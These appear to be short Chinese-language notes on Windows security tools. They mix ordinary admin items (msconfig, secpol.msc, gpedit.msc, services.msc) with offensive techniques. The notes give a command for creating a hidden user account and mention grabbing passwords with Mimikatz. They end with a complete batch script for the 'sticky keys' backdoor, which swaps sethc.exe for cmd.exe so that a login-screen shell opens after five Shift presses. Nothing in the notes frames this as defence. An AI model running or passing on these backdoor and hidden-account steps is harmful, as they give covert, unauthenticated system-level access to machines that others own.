1.系统优化命令
msconfig修改启动项
2.隐藏用户
net user 用户$ 密码 /add 创建隐藏用户
隐藏用户test不可见
3.windows日志
日志筛选
4.本地安全策略
secpol.msc
查看服务:services.msc
密码策略,可以设置密码的安全性要求
锁定策略,可以设置尝试多少次后锁定
审核策略,网络安全核心之一
用户权限分配
安全选项
5.本地计算机策略
gpedit.msc
6.Mimikatz抓取windows密码
7.Win7 shift后门
或者执行以下脚本
编写以下代码
@echo off
c:
cd
cd Windows\System32
takeown /f sethc.exe /a
icacls sethc.exe /grant Administrator:f
del sethc.exe
copy cmd.exe sethc.exe
pause&&exit
保存退出
退出后在登陆界面按5次shift即可实现